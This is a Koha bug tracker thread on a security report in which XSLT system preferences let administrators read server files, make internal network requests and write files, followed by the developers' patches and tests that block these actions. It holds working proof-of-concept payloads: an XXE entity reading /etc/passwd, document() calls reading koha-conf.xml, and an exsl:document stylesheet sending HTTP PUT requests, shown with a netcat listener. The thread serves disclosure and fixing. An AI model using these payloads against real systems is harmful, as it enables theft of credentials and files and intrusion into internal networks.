Bug 23290

Summary: XSLT system preferences allow administrators to exploit XML and XSLT vulnerabilities
Product: Koha Reporter: David Cook <dcook>
Component: Architecture, internals, and plumbingAssignee: Marcel de Rooy <m.de.rooy>
Status: CLOSED FIXED QA Contact: Testopia <testopia>
Severity: major    
Priority: P5 - low CC: 1joynelson, fridolin.somers, jonathan.druart, katrin.fischer, m.de.rooy, martin.renvoize, mirko, nick
Version: unspecified   
Hardware: All   
OS: All   
See Also: https://bugs.koha-community.org/bugzilla3/show_bug.cgi?id=24313
https://bugs.koha-community.org/bugzilla3/show_bug.cgi?id=25381
Change sponsored?: --- Patch complexity: ---
Documentation contact: Documentation submission:
Text to go in the release notes:
This patchset refines the XSLT processing configuration such that we are more secure by disallowing the processing of external stylesheets by default and adding a configuration option to re-enable the functionality.
Version(s) released in:
20.05.00, 19.11.03, 19.05.08, 18.11.15
Bug Depends on:    
Bug Blocks: 24052, 24756, 25373    
Attachments: Bug 23290: XSLT system preferences allow administrators to exploit XML and XSLT vulnerabilities
XSLT to exploit vulnerabilities
Bug 23290: Rename XSLT_Handler
Bug 23290: Introduce Koha::XSLT::Security
Bug 23290: Apply the changes in Security to Base now
Bug 23290: Allow enabling expand_entities
Bug 23290: Add test Koha/XSLT/Security.t
Bug 23290: Add test Koha/XSLT/Security.t
Bug 23290: Add test Koha/XSLT/Security.t
Bug 23290: XSLT system preferences allow administrators to exploit XML and XSLT vulnerabilities
Bug 23290: Rename XSLT_Handler
Bug 23290: Introduce Koha::XSLT::Security
Bug 23290: Apply the changes in Security to Base now
Bug 23290: Allow enabling expand_entities
Bug 23290: Add test Koha/XSLT/Security.t
Bug 23290: Add test for write_net
Bug 23290: Rename XSLT_Handler
Bug 23290: Introduce Koha::XSLT::Security
Bug 23290: Apply the changes in Security to Base now
Bug 23290: Allow enabling expand_entities
Bug 23290: Add test Koha/XSLT/Security.t
Bug 23290: Add test for write_net
[DO_NOT_PUSH] Hack MARC21slim2intranetDetail.xsl
[DO_NOT_PUSH] Add a write_file in intranetDetail too
Bug 23290: XSLT system preferences allow administrators to exploit XML and XSLT vulnerabilities
Bug 23290: Rename XSLT_Handler
Bug 23290: Introduce Koha::XSLT::Security
Bug 23290: Apply the changes in Security to Base now
Bug 23290: Allow enabling expand_entities
Bug 23290: (follow-up) Disable expand_entities unless explicitly enabled
Bug 23290: Add test Koha/XSLT/Security.t
Bug 23290: Add test for write_net
Bug 23290: (follow-up) Replace warning_like by warnings_like
Bug 23290: (follow-up) Disable expand_entities unless explicitly enabled
Bug 23290: Add test Koha/XSLT/Security.t
Bug 23290: Add test for write_net
Bug 23290: (follow-up) Replace warning_like by warnings_like
Bug 23290: [RMaint version] Mitigate XML/XSLT vulnerabilities
Bug 23290: (QA follow-up) Rename option to expand_entities_unsafe
Bug 23290: [RMaint version] Mitigate XML/XSLT vulnerabilities
Bug 23290: XSLT system preferences allow administrators to exploit XML and XSLT vulnerabilities
Bug 23290: Rename XSLT_Handler
Bug 23290: Introduce Koha::XSLT::Security
Bug 23290: Apply the changes in Security to Base now
Bug 23290: Allow enabling expand_entities
Bug 23290: (follow-up) Disable expand_entities unless explicitly enabled
Bug 23290: Add test Koha/XSLT/Security.t
Bug 23290: Add test for write_net
Bug 23290: (follow-up) Replace warning_like by warnings_like
Bug 23290: (QA follow-up) Rename option to expand_entities_unsafe
Bug 23290: (RM follow-up) Correction to copyright statement

Description David Cook 2019-07-10 01:17:30 UTC
Currently, anyone with permission to update the XSLTDetailsDisplay, XSLTListsDisplay, XSLTResultsDisplay, OPACXSLTDetailsDisplay, OPACXSLTListsDisplay, or OPACXSLTResultsDisplay system preference has the potential to read/write data on the server/network running Koha.

By default, the XML parser in Koha will expand external XML entities, which means you can declare your own XML entities linked to external files on the file system, and the XML parser will read that file and insert its contents into your XSLT results. 

For example:
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
<xsl:variable name="testing">
    &ext_file;
</xsl:variable>

(I haven't experimented with external unparsed entity declarations using NDATA but that could make it potentially worse in terms of what could be exfiltrated.)

You can also use <xsl:copy-of select="document('file.xml')" /> to read files on the file system or use <xsl:copy-of select="document('http://localhost:80')" /> to perform GET requests on the network, which is especially problematic if you rely on trusts on your internal network instead of using credential based authentication.

You can also use something like the following to write to the local file system using the user running Koha:

<exsl:document href="file:///tmp/breached.txt">
    <xsl:text>Breached!</xsl:text>
</exsl:document>

The impact of file system writes are limited by the user running Koha, but that's still pretty damaging, especially if coupled with other exploits. 

--

In theory, you can also do writes over the network, although I haven't confirmed this through my own tests yet.
Comment 1 David Cook 2019-07-10 01:22:16 UTC
I have a work-in-progress patch to mitigate the vulnerability at the XML/XSLT level.

An alternative would be to disallow external XSLTs in the Koha system preferences. 

Although I suppose organisations might use network shares with limited authorization to allow administrators to upload XSLTs to the server, so probably best to solve this at the root level. 

--

For people who don't think this is serious because you have to be an administrator to set this system preference, it's still a case of privilege escalation. Plus, a Koha administrator is not necessarily a trusted system administrator, so there's still a lot of potential for abuse.
Comment 2 David Cook 2019-07-10 01:40:30 UTC
I don't remember if Z39.50/SRU servers let you use external XSLTs or if they have to just be local, but just remembered that too...
Comment 3 David Cook 2019-07-10 03:35:24 UTC
Tests using XSLTDetailsDisplay:

1) Expand external entity
FAIL
<!DOCTYPE dtd_sample [ <!ENTITY ext_file SYSTEM "/etc/passwd"> ]>
<xsl:variable name="system_file">
    &ext_file;
</xsl:variable>

Error message: "parser error : Failure to process entity ext_file"

I can't reproduce this one. I swear that I had this working a few weeks ago, but it was on an older version of Koha (not master) and doing it via the Z39.50 search using a local file rather than via the Intranet detail page using a remote file.

I will look into this one further...

-----------------------------------------
2) Read from local file system
SUCCESS
<xsl:copy-of select="document('file:///path/to/koha-conf.xml')" />

-----------------------------------------
3) Read from network
-----------------------------------------
a) FAIL
<xsl:copy-of select="document('http://koha-community.org')" />

Unknown IO errorI/O warning : failed to load external entity "http://koha-community.org"

I think this is because it redirects to the HTTPS site and it seems like it can't handle TLS/SSL. (This seems confirmed as I get the same error when trying to fetch this very simple XML from an external IP address: https://www.w3schools.com/xml/note.xml)

I can fetch from http://google.com (ie using HTTP instead of HTTPS) although the XML parser fails to parse the HTML response. 
-----------------------------------------
b) SUCCESS
<xsl:copy-of select="document('http://localhost')" />


This is just an Apache default page, so the HTML is so basic that the XML parser can handle it. Would need to experiment here to see all the possibilities...

The document() function does require something that can be parsed as XML so just fetching text over HTTP won't work. 

-----------------------------------------
4) Write to local file system
SUCCESS
<exsl:document href="file:///tmp/breached.txt" omit-xml-declaration="yes" method="text">
    <xsl:text>Breached!</xsl:text>
</exsl:document>

/tmp/systemd-private-0de1f7da4e514d7f9d50c5cad15fafff-apache2.service-9gJSe2/tmp/breached.txt

sudo vi /tmp/systemd-private-0de1f7da4e514d7f9d50c5cad15fafff-apache2.service-9gJSe2/tmp/breached.txt
Breached!

-----------------------------------------
5) Write to network

I actually don't know how to do this one.
Comment 4 David Cook 2019-07-10 03:36:34 UTC
In any case, we can mitigate the XSLT vulnerabilities using the following:

https://metacpan.org/pod/XML::LibXSLT#XML::LibXSLT::Security
Comment 5 David Cook 2019-07-10 03:56:09 UTC
Created attachment 91435 [details] [review]
Bug 23290: XSLT system preferences allow administrators to exploit XML and XSLT vulnerabilities

The problem is that administrators can provide XSLTs that
can read from the server and network and write to the server. The

This patch prevents the Koha::XSLT_Handler from running
XSLT stylesheets that call actions such as read_file, write_file,
read_net, and write_net as documented at
https://metacpan.org/pod/XML::LibXSLT#XML::LibXSLT::Security

(Previous tests suggested issues with XML external entities
causing read file like vulnerabilities but these were not
reproducible)
Comment 6 David Cook 2019-07-10 04:03:12 UTC
Just working on my exploit.xsl file...

When using xsltproc, I'm able to get the XML external entity to load after an update so going to try again...
Comment 7 David Cook 2019-07-10 04:15:31 UTC
(In reply to David Cook from comment #6)
> Just working on my exploit.xsl file...
> 
> When using xsltproc, I'm able to get the XML external entity to load after
> an update so going to try again...

I'll have to try this on some Debian machines with the standard Koha libraries, as I'm using OpenSUSE with probably a lot newer XML::LibXML than Debian.
Comment 8 David Cook 2019-07-10 04:17:39 UTC
(In reply to David Cook from comment #7)
> (In reply to David Cook from comment #6)
> > Just working on my exploit.xsl file...
> > 
> > When using xsltproc, I'm able to get the XML external entity to load after
> > an update so going to try again...
> 
> I'll have to try this on some Debian machines with the standard Koha
> libraries, as I'm using OpenSUSE with probably a lot newer XML::LibXML than
> Debian.

Worth noting...

https://rt.cpan.org/Public/Bug/Display.html?id=118032
https://gitlab.gnome.org/GNOME/libxml2/commit/4629ee02ac649c27f9c0cf98ba017c6b5526070f
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=838097
Comment 9 David Cook 2019-07-10 05:42:22 UTC
Created attachment 91437 [details]
XSLT to exploit vulnerabilities

This XSLT can be adapter to your own local system for reading from your computer's local file system and network.

It has a built-in write to /tmp/breached.txt, which gets written with the permissions of the web server running the XSLT transformation.
Comment 10 Martin Renvoize 2019-11-07 21:45:39 UTC
Should this be 'Needs Signoff'.. I'm confused, it looks like you've posted a patch and test case?

It would be good to move this one forward.
Comment 11 David Cook 2019-11-08 03:21:45 UTC
(In reply to Martin Renvoize from comment #10)
> Should this be 'Needs Signoff'.. I'm confused, it looks like you've posted a
> patch and test case?
> 
> It would be good to move this one forward.

Oops! Yeah that probably should be set to 'Needs Signoff'. 

I feel like I've done some testing on Debian and it's not as bad as it was on OpenSuse, but I haven't looked at this in months.
Comment 12 David Cook 2019-11-08 03:24:49 UTC
I think maybe on Debian the XML parser won't expand external XML entities without the patch... but I think the other security holes are still there.
Comment 13 Jonathan Druart 2019-11-08 08:39:26 UTC
XML::LibXSLT::Security is a new deps, and no debian package exists.
Comment 14 Marcel de Rooy 2019-11-08 10:09:18 UTC
If you have permissions to change preferences (not even superlib), you could add an external stylesheet. This is a "feature" now. Which obviously, is a vulnerability too. (Not saying that if you have such permissions, you can break a lot of other things too.)

Does XML::LibXSLT::Security allow imports from local system? Note also that only the import could be external.

How does a Debian admin currently tell his xml parser to not allow external stylesheets? Here we may have problems too since various distributions and versions may differ.

Imo we would at least feel safer if we need to enable the use of external stylesheets in e.g. koha-conf too?

Since all these questions require answers/discussion, I dont think the current patch could be pushed in its current form.
Comment 15 David Cook 2019-11-10 23:13:04 UTC
(In reply to Jonathan Druart from comment #13)
> XML::LibXSLT::Security is a new deps, and no debian package exists.

Could you elaborate on this? XML::LibXSLT::Security should be provided by XML::LibXSLT, so there should be no new dependency. 

Are you having issues when you try to use it?
Comment 16 David Cook 2019-11-11 00:00:11 UTC
(In reply to Marcel de Rooy from comment #14)
> If you have permissions to change preferences (not even superlib), you could
> add an external stylesheet. This is a "feature" now. Which obviously, is a
> vulnerability too. (Not saying that if you have such permissions, you can
> break a lot of other things too.)
> 

Many other permissions will break things in Koha, but not provide privileged access to the local server though. 

> Does XML::LibXSLT::Security allow imports from local system? Note also that
> only the import could be external.
> 

I am afraid that I do not understand your question.

What do you mean by "imports" in this context? Do you mean an "<xsl:import>"?

I don't understand what you mean by "note also that only the import could be external". 

Could you be more specific?

> How does a Debian admin currently tell his xml parser to not allow external
> stylesheets? Here we may have problems too since various distributions and
> versions may differ.
> 

What do you mean by "external stylesheets"? Do you mean a stylesheet that needs to be fetched from an external server? 

I don't think that's something that an OS sysadmin would handle, since that behaviour is in XML::LibXML::Parser's parse_file function (https://metacpan.org/pod/XML::LibXML::Parser#parse_file). I think that this is something that would have to be handled at the application level, so I don't think different distributions and versions would matter (although perhaps holder versions of libxml may or may not support some parsing options but I doubt that will bite us). 

In this case, I was referring to "external entities" (rather than "external stylesheets"). Please see sections like "expand_entities" in https://metacpan.org/pod/XML::LibXML::Parser for a description of what I mean. Or play with my sample XSLT file.

I think that it's irrelevant if we allow external stylesheets. The key is that we prevent *any* stylesheet from having read/write access to the underlying server. 

In an earlier comment, I was saying how Debian's libxml might be patched to prevent "expand_entities" being turned on by default, but that's just 1 vulnerability. With this patch, I'm targeting a handful of XSLT vulnerabilities. 

> Imo we would at least feel safer if we need to enable the use of external
> stylesheets in e.g. koha-conf too?
> 

I still don't understand what you mean by "external stylesheets", especially in the context of koha-conf.xml. Are you referring to "external entities" or files from other servers? 

If you want to prevent XML::LibXML's load_xml from loading XML from the network, we could look at the "no_network" parser option https://metacpan.org/pod/XML::LibXML::Parser#PARSER-OPTIONS, although I don't know if that just refers to DTDs/external entities, or the XML itself too. I imagine it's everything but hard to say without doing a deep dive.

I think allowing network access for loading XML is fine, so long as you're managing the parsing correctly. 

> Since all these questions require answers/discussion, I dont think the
> current patch could be pushed in its current form.

I don't think these questions are actually relevant to the current patch, as they're about different things, but it's up to you. 

I've already patched these vulnerabilities locally, so feel free to take all the time you like. Honestly, I'd given up on anyone actually looking at this bug report, until Martin commented.
Comment 17 David Cook 2019-11-11 00:03:32 UTC
I'd suggest that people play with the XSLT to get a better understanding of what's going on here. 

Happy to provide extra explanations or instructions if need be.
Comment 18 David Cook 2019-11-11 01:14:19 UTC
The following might explain the XML external entity stuff:

https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet

Note though that is separate to the XSLT vulnerabilities I've mentioned.
Comment 19 Jonathan Druart 2019-11-11 07:52:02 UTC
(In reply to David Cook from comment #15)
> (In reply to Jonathan Druart from comment #13)
> > XML::LibXSLT::Security is a new deps, and no debian package exists.
> 
> Could you elaborate on this? XML::LibXSLT::Security should be provided by
> XML::LibXSLT, so there should be no new dependency. 
> 
> Are you having issues when you try to use it?

root@e5ce48bfab19:kohadevbox$ pmvers XML::LibXSLT::Security
/usr/bin/pmvers: Can't locate XML/LibXSLT/Security.pm in @INC (you may need to install the XML::LibXSLT::Security module) (@INC contains: /kohadevbox/koha /kohadevbox/qa-test-tools /etc/perl /usr/local/lib/x86_64-linux-gnu/perl/5.24.1 /usr/local/share/perl/5.24.1 /usr/lib/x86_64-linux-gnu/perl5/5.24 /usr/share/perl5 /usr/lib/x86_64-linux-gnu/perl/5.24 /usr/share/perl/5.24 /usr/local/lib/site_perl /usr/lib/x86_64-linux-gnu/perl-base) 

root@e5ce48bfab19:kohadevbox$ pmvers XML::LibXSLT
1.95
Comment 20 David Cook 2019-11-12 06:37:42 UTC
(In reply to Jonathan Druart from comment #19)
> (In reply to David Cook from comment #15)
> > (In reply to Jonathan Druart from comment #13)
> > > XML::LibXSLT::Security is a new deps, and no debian package exists.
> > 
> > Could you elaborate on this? XML::LibXSLT::Security should be provided by
> > XML::LibXSLT, so there should be no new dependency. 
> > 
> > Are you having issues when you try to use it?
> 
> root@e5ce48bfab19:kohadevbox$ pmvers XML::LibXSLT::Security
> /usr/bin/pmvers: Can't locate XML/LibXSLT/Security.pm in @INC (you may need
> to install the XML::LibXSLT::Security module) (@INC contains:
> /kohadevbox/koha /kohadevbox/qa-test-tools /etc/perl
> /usr/local/lib/x86_64-linux-gnu/perl/5.24.1 /usr/local/share/perl/5.24.1
> /usr/lib/x86_64-linux-gnu/perl5/5.24 /usr/share/perl5
> /usr/lib/x86_64-linux-gnu/perl/5.24 /usr/share/perl/5.24
> /usr/local/lib/site_perl /usr/lib/x86_64-linux-gnu/perl-base) 
> 
> root@e5ce48bfab19:kohadevbox$ pmvers XML::LibXSLT
> 1.95

Thanks for that, Jonathan. I can assure you that this is not an issue. 

Can you find your XML/LibXSLT.pm module for me? On OpenSuse, mine is here: /usr/lib/perl5/vendor_perl/5.26.1/x86_64-linux-thread-multi/XML/LibXSLT.pm

You should find that XML/LibXSLT.pm actually contains packages for XML::LibXSLT, XML::LibXSLT::StylesheetWrapper, and XML::LibXSLT::Security. 

So the XML/LibXSLT.pm module is the dependency, and it contains the XML::LibXSLT::Security package.

So it should be all good :).
Comment 21 David Cook 2019-11-12 06:38:19 UTC
(In reply to David Cook from comment #20)
> So the XML/LibXSLT.pm module is the dependency, and it contains the
> XML::LibXSLT::Security package.
> 
> So it should be all good :).

egrep "^package " /usr/lib/perl5/vendor_perl/5.26.1/x86_64-linux-thread-multi/XML/LibXSLT.pm
package XML::LibXSLT;
package XML::LibXSLT::StylesheetWrapper;
package XML::LibXSLT::Security;
Comment 22 Jonathan Druart 2019-11-12 07:42:38 UTC
Indeed, sorry for the noise.
Comment 23 David Cook 2019-11-12 08:05:58 UTC
(In reply to Jonathan Druart from comment #22)
> Indeed, sorry for the noise.

No problem at all. Thank you for looking at this bug report!
Comment 24 Marcel de Rooy 2019-11-15 07:17:17 UTC
(In reply to David Cook from comment #16)
> (In reply to Marcel de Rooy from comment #14)

Hi David,
Looking at this again now. Available time ;)

> Many other permissions will break things in Koha, but not provide privileged
> access to the local server though. 

First, I am all for security. But that access is only possible when you manage to inject code in the used stylesheets or change the pref to a location you control. In case of the first you probably lost the battle already.

> What do you mean by "imports" in this context? Do you mean an "<xsl:import>"?
> What do you mean by "external stylesheets"? Do you mean a stylesheet that
> needs to be fetched from an external server? 
> I think that it's irrelevant if we allow external stylesheets. The key is
> that we prevent *any* stylesheet from having read/write access to the
> underlying server. 

Maybe I should have focused on the external entities only, because thats the scope indeed. In a broader sense, 'external code' coming in via an import, an external stylesheet, an external entity, or yet another source, is a risk on itself. You dont control the code. Personally, I do not think it is irrelevant, allowing it is a vulnerability. But yes, if we can prevent access to the server in the xslt, we are safer.

> I don't think these questions are actually relevant to the current patch, as
> they're about different things, but it's up to you. 

I agree about the scope. Will be looking a bit further now.
Comment 25 Marcel de Rooy 2019-11-15 11:31:59 UTC
Created attachment 95450 [details] [review]
Bug 23290: Rename XSLT_Handler

This is just a git move. Cannot be tested. (Easier for QA.)
The next patch adjusts paths etc. in the module.

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Comment 26 Marcel de Rooy 2019-11-15 11:32:04 UTC
Created attachment 95451 [details] [review]
Bug 23290: Introduce Koha::XSLT::Security

Also adds a temporary stub for Koha::XSLT_Handler referring to Base.
This will be removed later.

Test plan:
Run t/db_dependent/XSLT_Handler.t
Comment 27 Marcel de Rooy 2019-11-15 11:32:08 UTC
Created attachment 95452 [details] [review]
Bug 23290: Apply the changes in Security to Base now

Until now Base did not yet use Security. The security lines are removed
from Base here by calls to Security.
A new test must be added still.

Test plan:
Ensure that t/db_dependent/XSLT_Handler.t still passes.
Comment 28 Marcel de Rooy 2019-11-15 11:33:32 UTC
What do you think, David?
Added a wrapper around your code and added possibility to change parser options.
Should still add some testing, cleanup.
Comment 29 Marcel de Rooy 2019-11-15 12:45:02 UTC
Created attachment 95453 [details] [review]
Bug 23290: Allow enabling expand_entities

Since libxml2 disables it now by default, we need to enable it for testing.
Comment 30 Marcel de Rooy 2019-11-15 13:21:05 UTC Comment hidden (obsolete)
Comment 31 Marcel de Rooy 2019-11-15 13:24:34 UTC
Question remains: Are we harassing people now that added such document calls to their Koha XSLTs ?
Comment 32 Marcel de Rooy 2019-11-15 13:26:08 UTC
If people like this, I will add some further housekeeping on a regular report. Like removing XSLT_Handler refs etc. Moving the tests etc.
Note that the new test is not db_dependent actually, etc.
Comment 33 David Cook 2019-11-17 23:42:03 UTC
(In reply to Marcel de Rooy from comment #24)

> First, I am all for security. But that access is only possible when you
> manage to inject code in the used stylesheets or change the pref to a
> location you control. In case of the first you probably lost the battle
> already.
> 

I think that they're different battles. Compromising the application is one battle, but compromising the server under it is another (arguably much more important) battle. Vendors allow access to demo instances, and vendors allow libraries to define their own app-level security permissions. So getting the app-level permissions aren't necessarily that difficult. I figure we should operate under the assumption that an application can be compromised, and that we limit the damage it can cause when it is.

> Maybe I should have focused on the external entities only, because thats the
> scope indeed. In a broader sense, 'external code' coming in via an import,
> an external stylesheet, an external entity, or yet another source, is a risk
> on itself. You dont control the code. Personally, I do not think it is
> irrelevant, allowing it is a vulnerability. But yes, if we can prevent
> access to the server in the xslt, we are safer.
> 

I'm not sure that I follow what you're saying, but no worries. I think we're both in favour of moving forward with the patches, so it's all good.
Comment 34 David Cook 2019-11-17 23:51:05 UTC
Comment on attachment 95454 [details] [review]
Bug 23290: Add test Koha/XSLT/Security.t

Review of attachment 95454 [details] [review]:
-----------------------------------------------------------------

::: t/db_dependent/Koha/XSLT/Security.t
@@ +62,5 @@
> +$xslt_file = mytempfile($xslt);
> +warning_like { $output= $engine->transform( "<ignored/>", $xslt_file ); }
> +    qr/read_file called in XML::LibXSLT/,
> +    'Triggered security callback';
> +

I think this is looking good. 

Could we also add tests for the following?

* Reading from the network:
<xsl:copy-of select="document('http://IP:PORT/exploit.xsl')" />

*Writing to local file system:
<exsl:document href="file:///tmp/breached.txt" omit-xml-declaration="yes" method="text">
<xsl:text>Breached!</xsl:text>
</exsl:document>
Comment 35 David Cook 2019-11-17 23:56:28 UTC
I'm going to have another little go at trying to write to the network from XSLT...
Comment 36 David Cook 2019-11-18 00:11:19 UTC
(In reply to David Cook from comment #35)
> I'm going to have another little go at trying to write to the network from
> XSLT...

I was able to get the XSLT to send a HTTP PUT request (on a non-Debian host) using xsltproc.

exploit.xsl:
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:marc="http://www.loc.gov/MARC21/slim" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl" version="1.0">
    <xsl:template match="/">
        <exsl:document href="http://localhost:2112" omit-xml-declaration="yes" method="html">
            <xsl:text>Breached!</xsl:text>
        </exsl:document>
    </xsl:template>
</xsl:stylesheet>

test.xml
<test>
</test>

--
Terminal 1:
nc -l localhost 55555 -vv
Listening on [localhost] (family 0, port 55555)
--
Terminal 2:
xsltproc exploit.xsl test.xml
--
Terminal 1:
Connection from localhost 60168 received!
PUT / HTTP/1.0
Host: localhost:55555
Accept-Encoding: gzip
Content-Type: text/xml
Content-Length: 20

Breached!
Breached!
--
Terminal 1:
Ctrl + C
--
Terminal 2:
I/O error : write error
runtime error: file exploit.xsl line 3 element document
xsltDocumentElem: unable to save to http://localhost:55555
no result for test.xml
Comment 37 David Cook 2019-11-18 00:12:18 UTC
Oops that exploit.xsl should be the following:

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:marc="http://www.loc.gov/MARC21/slim" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl" version="1.0">
    <xsl:template match="/">
        <exsl:document href="http://localhost:55555" omit-xml-declaration="yes" method="html">
            <xsl:text>Breached!</xsl:text>
        </exsl:document>
    </xsl:template>
</xsl:stylesheet>

--

I was experimenting with different ports to see what would happen.
Comment 38 David Cook 2019-11-18 00:16:35 UTC
If you try a port that isn't open:
error : Operation in progress
runtime error: file exploit.xsl line 3 element document
xsltDocumentElem: unable to save to http://localhost:55556
no result for test.xml

If you try a port that is open and responds with something like a 200, then you don't get a response on the calling terminal. 

I was able to PUT to /cgi-bin/koha/maintenance.pl

127.0.0.1 - - [18/Nov/2019:11:14:50 +1100] "PUT /cgi-bin/koha/maintenance.pl HTTP/1.0" 200 8943

Obviously it didn't successfully put anything, but if you had an unsecured API on a local network...

Or you could create large PUT requests with the XSLT to burden the network.
Comment 39 David Cook 2019-11-18 00:26:53 UTC
Just some background information:

"Function: xmlRegisterHTTPPostCallbacks"

"By default, libxml submits HTTP output requests using the "PUT" method. Calling this method changes the HTTP output method to use the "POST" method instead."

http://www.xmlsoft.org/html/libxml-xmlIO.html
Comment 40 Marcel de Rooy 2019-11-18 07:57:13 UTC
(In reply to David Cook from comment #35)
> I'm going to have another little go at trying to write to the network from
> XSLT...

Hard to find more info about that. Seems already a bit older.
libxslt/security.c made me not much wiser (at quick glance).
Maybe a NFS shared folder or so?
Comment 41 Marcel de Rooy 2019-11-18 09:04:20 UTC Comment hidden (obsolete)
Comment 42 Marcel de Rooy 2019-11-18 09:06:33 UTC
(In reply to David Cook from comment #34)
> Could we also add tests for the following?

Done. Added a remote import too that should not fail on the callbacks.
Comment 43 Marcel de Rooy 2019-11-18 10:22:15 UTC Comment hidden (obsolete)
Comment 44 Marcel de Rooy 2019-11-18 10:30:51 UTC
Created attachment 95480 [details] [review]
Bug 23290: XSLT system preferences allow administrators to exploit XML and XSLT vulnerabilities

The problem is that administrators can provide XSLTs that
can read from the server and network and write to the server. The

This patch prevents the Koha::XSLT_Handler from running
XSLT stylesheets that call actions such as read_file, write_file,
read_net, and write_net as documented at
https://metacpan.org/pod/XML::LibXSLT#XML::LibXSLT::Security

(Previous tests suggested issues with XML external entities
causing read file like vulnerabilities but these were not
reproducible)

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Comment 45 Marcel de Rooy 2019-11-18 10:30:55 UTC
Created attachment 95481 [details] [review]
Bug 23290: Rename XSLT_Handler

This is just a git move. Cannot be tested. (Easier for QA.)
The next patch adjusts paths etc. in the module.

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Comment 46 Marcel de Rooy 2019-11-18 10:30:59 UTC
Created attachment 95482 [details] [review]
Bug 23290: Introduce Koha::XSLT::Security

Also adds a temporary stub for Koha::XSLT_Handler referring to Base.
This will be removed later.

Test plan:
Run t/db_dependent/XSLT_Handler.t

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Comment 47 Marcel de Rooy 2019-11-18 10:31:03 UTC
Created attachment 95483 [details] [review]
Bug 23290: Apply the changes in Security to Base now

Until now Base did not yet use Security. The security lines are removed
from Base here by calls to Security.
A new test must be added still.

Test plan:
Ensure that t/db_dependent/XSLT_Handler.t still passes.

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Comment 48 Marcel de Rooy 2019-11-18 10:31:08 UTC
Created attachment 95484 [details] [review]
Bug 23290: Allow enabling expand_entities

Since libxml2 disables it now by default, we need to enable it for testing.

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Comment 49 Marcel de Rooy 2019-11-18 10:31:12 UTC
Created attachment 95485 [details] [review]
Bug 23290: Add test Koha/XSLT/Security.t

Test plan:
Run it!

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Comment 50 Marcel de Rooy 2019-11-18 11:20:14 UTC
(In reply to David Cook from comment #16)

> If you want to prevent XML::LibXML's load_xml from loading XML from the
> network, we could look at the "no_network" parser option
> https://metacpan.org/pod/XML::LibXML::Parser#PARSER-OPTIONS, although I
> don't know if that just refers to DTDs/external entities, or the XML itself
> too. I imagine it's everything but hard to say without doing a deep dive.

Tried using it. But couldnt make it work for now..
Comment 51 David Cook 2019-11-19 07:48:24 UTC
(In reply to Marcel de Rooy from comment #40)
> (In reply to David Cook from comment #35)
> > I'm going to have another little go at trying to write to the network from
> > XSLT...
> 
> Hard to find more info about that. Seems already a bit older.
> libxslt/security.c made me not much wiser (at quick glance).
> Maybe a NFS shared folder or so?

It was hard to find info about that but this is how you write to the network using HTTP in XSLT:

<exsl:document href="http://localhost:2112" omit-xml-declaration="yes" method="html">
    <xsl:text>Breached!</xsl:text>
</exsl:document>

A NFS shared folder would just be a file system that you'd access using a file:// protocol. But here we can use http://. You can also use ftp:// I think.
Comment 52 David Cook 2019-11-19 07:49:23 UTC
(In reply to Marcel de Rooy from comment #50)
> Tried using it. But couldnt make it work for now..

I'll give it a try sometime, but I think we have enough to work with for now here.
Comment 53 Marcel de Rooy 2019-11-19 13:59:27 UTC
Created attachment 95551 [details] [review]
Bug 23290: Add test for write_net

Test plan:
Run t/db_dependent/Koha/XSLT/Security.t

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Comment 54 Marcel de Rooy 2019-11-19 14:10:52 UTC
(In reply to David Cook from comment #51)
> (In reply to Marcel de Rooy from comment #40)
> It was hard to find info about that but this is how you write to the network
> using HTTP in XSLT:
> 
> <exsl:document href="http://localhost:2112" omit-xml-declaration="yes"
> method="html">
>     <xsl:text>Breached!</xsl:text>
> </exsl:document>

Added a test for that. Changed the URI.

> A NFS shared folder would just be a file system that you'd access using a
> file:// protocol. But here we can use http://. You can also use ftp:// I
> think.

NFS was just a wild guess. I think it considers everything not file:// as network.
Comment 55 Marcel de Rooy 2019-11-19 14:11:31 UTC
David,
I signed off your patches. If you add a signoff line to my patches, we can upgrade the status of this set.
Thanks
Comment 56 Marcel de Rooy 2019-11-19 14:11:59 UTC
Should we lower to major btw ?
Comment 57 David Cook 2019-11-20 00:52:47 UTC
(In reply to Marcel de Rooy from comment #55)
> David,
> I signed off your patches. If you add a signoff line to my patches, we can
> upgrade the status of this set.
> Thanks

I have a few things I need to do right now, but I'll put it on my todo list and endeavour to get that done today.
Comment 58 David Cook 2019-11-20 07:08:17 UTC
Ran out of time before but keeping this on my list
Comment 59 Marcel de Rooy 2019-12-13 09:21:12 UTC
(In reply to David Cook from comment #58)
> Ran out of time before but keeping this on my list

Ping David.
Comment 60 David Cook 2019-12-16 02:31:06 UTC
Created attachment 96299 [details] [review]
Bug 23290: Rename XSLT_Handler

This is just a git move. Cannot be tested. (Easier for QA.)
The next patch adjusts paths etc. in the module.

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>

Signed-off-by: David Cook <dcook@prosentient.com.au>
Comment 61 David Cook 2019-12-16 02:31:10 UTC
Created attachment 96300 [details] [review]
Bug 23290: Introduce Koha::XSLT::Security

Also adds a temporary stub for Koha::XSLT_Handler referring to Base.
This will be removed later.

Test plan:
Run t/db_dependent/XSLT_Handler.t

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>

Signed-off-by: David Cook <dcook@prosentient.com.au>
Comment 62 David Cook 2019-12-16 02:31:14 UTC
Created attachment 96301 [details] [review]
Bug 23290: Apply the changes in Security to Base now

Until now Base did not yet use Security. The security lines are removed
from Base here by calls to Security.
A new test must be added still.

Test plan:
